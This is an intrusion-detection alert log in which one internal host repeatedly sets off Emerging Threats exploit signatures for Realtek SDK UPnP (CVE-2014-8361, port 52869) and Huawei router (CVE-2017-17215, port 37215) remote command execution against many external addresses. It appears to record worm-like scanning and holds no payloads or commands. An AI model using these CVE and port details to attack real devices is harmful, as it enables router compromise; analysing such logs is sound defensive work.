Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 91.156.224.14

Timestamp:	07/20/24-23:01:34.952293
SID:	2831300
Source Port:	45738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 191.124.131.163

Timestamp:	07/20/24-23:01:13.330072
SID:	2027339
Source Port:	45144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.51.234.253

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	60994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.114.14

Timestamp:	07/20/24-23:01:22.779211
SID:	2835222
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 2.229.175.12

Timestamp:	07/20/24-23:01:13.334997
SID:	2831300
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.138.129

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	34988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.48.141.155

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 51.61.18.6

Timestamp:	07/20/24-23:01:34.923386
SID:	2831300
Source Port:	44044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.37.182

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	44480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 192.231.43.185

Timestamp:	07/20/24-23:01:32.111719
SID:	2025132
Source Port:	43070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.53.96.150

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	41134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 153.211.168.73

Timestamp:	07/20/24-23:01:33.728029
SID:	2027339
Source Port:	50006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.122.199.14

Timestamp:	07/20/24-23:01:13.329423
SID:	2831300
Source Port:	55954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 39.30.35.11

Timestamp:	07/20/24-23:01:24.508331
SID:	2025132
Source Port:	34050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.235.55

Timestamp:	07/20/24-23:01:22.776061
SID:	2829579
Source Port:	58628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.53.220.181

Timestamp:	07/20/24-23:01:22.796666
SID:	2835222
Source Port:	49514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.215.194

Timestamp:	07/20/24-23:01:05.920529
SID:	2829579
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 199.206.179.25

Timestamp:	07/20/24-23:01:32.573916
SID:	2027339
Source Port:	44588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.205.245

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	54570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.156.221.195

Timestamp:	07/20/24-23:01:07.666600
SID:	2835222
Source Port:	37762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.185.13.173

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	60856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.235.249.101

Timestamp:	07/20/24-23:01:13.328983
SID:	2027339
Source Port:	33036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.76.31

Timestamp:	07/20/24-23:01:25.278504
SID:	2835222
Source Port:	56936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.154.141

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	33200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.1.149.4

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	33554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.0.173.235

Timestamp:	07/20/24-23:01:28.182157
SID:	2829579
Source Port:	42590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.53.137.158

Timestamp:	07/20/24-23:01:37.122115
SID:	2835222
Source Port:	46258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.65.113

Timestamp:	07/20/24-23:01:22.772933
SID:	2835222
Source Port:	39096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.222.18

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	48412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.182.223.211

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	57194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.235.139

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	44444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.127.222.117

Timestamp:	07/20/24-23:01:31.127464
SID:	2027339
Source Port:	40390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.20.243.132

Timestamp:	07/20/24-23:01:28.142774
SID:	2835222
Source Port:	50706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.29.177

Timestamp:	07/20/24-23:01:28.142676
SID:	2829579
Source Port:	41852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.215.167.105

Timestamp:	07/20/24-23:01:33.084068
SID:	2829579
Source Port:	46814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 60.144.29.97

Timestamp:	07/20/24-23:01:13.330930
SID:	2831300
Source Port:	50994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.25.16.9

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	47774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 20.29.209.66

Timestamp:	07/20/24-23:01:14.397228
SID:	2835222
Source Port:	49028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.129.237.7

Timestamp:	07/20/24-23:01:05.859411
SID:	2027339
Source Port:	45096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.120.169.109

Timestamp:	07/20/24-23:01:06.860208
SID:	2027339
Source Port:	45434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 20.43.107.217

Timestamp:	07/20/24-23:01:05.536738
SID:	2025132
Source Port:	46728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 184.171.106.251

Timestamp:	07/20/24-23:01:23.015463
SID:	2027339
Source Port:	35700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.209.232.104

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	32944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.133.8.3

Timestamp:	07/20/24-23:01:02.410515
SID:	2829579
Source Port:	51542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.197.36

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 38.255.110.243

Timestamp:	07/20/24-23:01:32.096393
SID:	2027339
Source Port:	38456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.8.16.158

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	46538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.58.12

Timestamp:	07/20/24-23:01:05.912005
SID:	2829579
Source Port:	38228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.213.6

Timestamp:	07/20/24-23:01:02.409131
SID:	2829579
Source Port:	43282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.215.47

Timestamp:	07/20/24-23:01:19.336091
SID:	2829579
Source Port:	41606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 182.207.82.188

Timestamp:	07/20/24-23:01:05.873034
SID:	2027339
Source Port:	36454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.99.193

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	47002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 116.111.12.206

Timestamp:	07/20/24-23:01:13.330618
SID:	2831300
Source Port:	44584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.131.64.64

Timestamp:	07/20/24-23:01:02.413580
SID:	2835222
Source Port:	54692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.156.21

Timestamp:	07/20/24-23:01:14.397066
SID:	2835222
Source Port:	38442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.90.166

Timestamp:	07/20/24-23:01:25.230671
SID:	2835222
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.154.56.66

Timestamp:	07/20/24-23:01:19.222378
SID:	2835222
Source Port:	47648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.209.86

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	42336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.18.57

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	44826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.34.12

Timestamp:	07/20/24-23:01:02.407253
SID:	2829579
Source Port:	42316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.84.25

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	41588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.78.218.96

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	32932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.100.5.186

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	34346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.216.161.59

Timestamp:	07/20/24-23:01:02.408227
SID:	2835222
Source Port:	41636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.41.24.198

Timestamp:	07/20/24-23:01:14.397957
SID:	2829579
Source Port:	44358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.117.200.225

Timestamp:	07/20/24-23:01:13.329793
SID:	2027339
Source Port:	42822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.12.65

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	41138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.41.98.206

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	33254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.56.240

Timestamp:	07/20/24-23:01:02.411166
SID:	2835222
Source Port:	42224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 13.226.216.53

Timestamp:	07/20/24-23:01:34.929652
SID:	2831300
Source Port:	48706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.210.76

Timestamp:	07/20/24-23:01:14.440518
SID:	2835222
Source Port:	49444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.52.92.23

Timestamp:	07/20/24-23:01:29.550329
SID:	2027339
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 160.191.28.144

Timestamp:	07/20/24-23:01:05.539673
SID:	2027339
Source Port:	43108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.137.190

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	58654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.141.189

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	55696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 58.141.211.31

Timestamp:	07/20/24-23:01:06.343371
SID:	2025132
Source Port:	36614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.46.159

Timestamp:	07/20/24-23:01:14.472855
SID:	2829579
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.188.216.17

Timestamp:	07/20/24-23:01:13.330329
SID:	2027339
Source Port:	47916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 223.29.150.196

Timestamp:	07/20/24-23:01:29.572433
SID:	2025132
Source Port:	40168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 90.112.65.145

Timestamp:	07/20/24-23:01:33.647102
SID:	2025132
Source Port:	57378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 19.5.103.108

Timestamp:	07/20/24-23:01:29.169846
SID:	2831300
Source Port:	45252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.251.168.249

Timestamp:	07/20/24-23:01:29.170361
SID:	2027339
Source Port:	49984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.172.66.80

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	42800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.232.166.233

Timestamp:	07/20/24-23:01:02.407252
SID:	2829579
Source Port:	53052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.39.109

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.173.29.9

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	57976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 34.37.107.29

Timestamp:	07/20/24-23:01:05.253611
SID:	2025132
Source Port:	34388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.99.251

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.227.167

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	59040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 151.136.169.42

Timestamp:	07/20/24-23:01:05.843043
SID:	2027339
Source Port:	50862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.98.160.122

Timestamp:	07/20/24-23:01:05.577225
SID:	2027339
Source Port:	59540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.14.114.28

Timestamp:	07/20/24-23:01:34.927043
SID:	2027339
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.9.253

Timestamp:	07/20/24-23:01:37.122115
SID:	2835222
Source Port:	46260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.204.105.129

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	35786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.38.134.195

Timestamp:	07/20/24-23:01:19.337916
SID:	2829579
Source Port:	58104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.198.125.221

Timestamp:	07/20/24-23:01:29.172557
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.174.202

Timestamp:	07/20/24-23:01:28.350983
SID:	2835222
Source Port:	45728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.186.108

Timestamp:	07/20/24-23:01:02.414527
SID:	2829579
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.67.71

Timestamp:	07/20/24-23:01:14.397263
SID:	2829579
Source Port:	40804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.75.68

Timestamp:	07/20/24-23:01:28.143795
SID:	2835222
Source Port:	59342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 160.191.28.144

Timestamp:	07/20/24-23:01:13.329544
SID:	2027339
Source Port:	44252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.123.123.238

